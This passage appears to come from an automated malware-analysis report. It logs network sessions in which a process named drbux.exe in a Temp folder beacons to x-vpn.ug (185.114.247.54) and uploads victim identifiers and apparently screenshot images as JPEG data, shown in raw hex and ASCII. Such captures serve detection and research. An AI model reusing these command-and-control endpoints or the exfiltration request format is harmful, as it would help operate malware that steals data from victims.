Jul 19, 2021 18:36:49.018131971 CEST	19724	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:49.018151045 CEST	19727	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:49.018244028 CEST	19741	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:49.018398046 CEST	19746	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:49.111236095 CEST	19749	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:49.111273050 CEST	19755	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
Jul 19, 2021 18:36:49.121027946 CEST	19760	OUT	Data Raw: 1c d2 1e 0d 02 1d da 97 b5 27 5a 51 4c 91 47 34 11 45 19 a0 41 d6 94 7d 68 a5 02 80 17 b5 38 50 05 14 c9 62 d2 9a 6f 6a 05 02 b0 b4 a0 e2 92 8a 04 3c 11 4a 6a 3a 78 3c 50 26 8d 9f 0c 8c eb 31 fd 0d 57 bd ff 00 8f e9 ff 00 df 35 67 c2 a3 3a e4 7f Data Ascii: 'ZQLG4EA}h8Pboj<Jj:x<P&1W5g:{\ 84IEE%EP!E8S)QEhN_)LZO*dZZO1WHJ/GS^k3K!Xuqaanp=}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.6	50045	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:49.225958109 CEST	19805	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:49.320298910 CEST	19806	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.6	50046	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:49.517632008 CEST	19807	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:49.598437071 CEST	19821	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.6	50047	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:49.538880110 CEST	19807	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:49.539002895 CEST	19808	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:49.539184093 CEST	19818	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:49.539304018 CEST	19820	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:49.635425091 CEST	19821	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:49.636995077 CEST	19840	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:49.637048006 CEST	19842	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:49.640983105 CEST	19847	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:49.733484030 CEST	19850	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:49.733540058 CEST	19866	OUT	Data Raw: 6d d4 e0 e6 b2 74 17 43 55 88 97 53 5f cb d3 65 eb 18 14 d3 a5 e9 d2 0f 95 b6 d6 7a b9 f4 a7 ab 9a 9e 49 2d 99 6a a4 1e f1 2c 9d 02 06 fb 92 d4 4f e1 d9 3f 82 40 68 59 58 1e 09 a9 56 ea 51 fc 66 8b d5 5d 43 92 83 de 25 37 d0 ee 97 a2 83 50 b6 9b Data Ascii: mtCUS_ezI-j,O?@hYXVQf]C%7Prbj[VQ~=T/~G>m^7#^z%4}GdAHsOpwZXQ2WReWx&oxVV)dCr@ofGVF*r5B2L
Jul 19, 2021 18:36:49.733563900 CEST	19871	OUT	Data Raw: ef a0 5d 2a a8 c9 62 54 00 3f 3a e6 ef 6c ae 74 eb c9 2d 2f 21 78 6e 22 6d af 1b 8e 41 af b3 35 15 2f a6 5d aa 82 58 c2 e0 00 39 27 69 af 34 f8 8b e1 5d 3b c5 76 4d 79 04 73 c1 a9 42 a4 ac cd 6b 22 ab 81 d9 8e de 9e fd aa a3 88 6d fb c4 ca 82 b7 Data Ascii: ]*bT?:lt-/!xn"mA5/]X9'i4];vMysBk"m\|KEpQLA[z/uIqv9>_@~-7E,eO5?w}aI\YxW4h/8"+MvOtNi( A
Jul 19, 2021 18:36:49.733781099 CEST	19879	OUT	Data Raw: 68 91 ff 00 c2 0d 7b a6 dc 59 46 ba e4 3a 9d d2 c5 20 41 e6 33 41 1c 45 e2 cf 52 36 99 08 1e aa 3d 6a 3e b1 1d 7f af eb 46 99 6a 84 9d bf af eb 66 8e 30 52 9a ef ae 63 d1 74 7d 13 44 b3 ba b0 b5 62 b7 97 1a 7e a7 72 63 53 20 76 8a 36 62 1b a8 31 Data Ascii: h{YF: A3AER6=j>Fjf0Rct}Db~rcS v6b145]"Bl..mY`M4[B2;:oBNcLK;s<:Mn,KEc9A >nd!%"D`F#hx{PokyJ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.6	50048	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:49.785578966 CEST	19898	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:49.864110947 CEST	19906	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49766	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:37.436217070 CEST	3755	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:37.436242104 CEST	3755	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:37.436249971 CEST	3766	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:37.436428070 CEST	3768	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:37.532946110 CEST	3771	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:37.532978058 CEST	3774	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:37.533430099 CEST	3777	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:37.533458948 CEST	3779	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:37.533775091 CEST	3782	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:37.534079075 CEST	3785	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:37.534512997 CEST	3787	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:37.831897974 CEST	3853	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.2.6	50049	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:50.059190989 CEST	19907	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:50.143591881 CEST	19921	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.2.6	50050	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
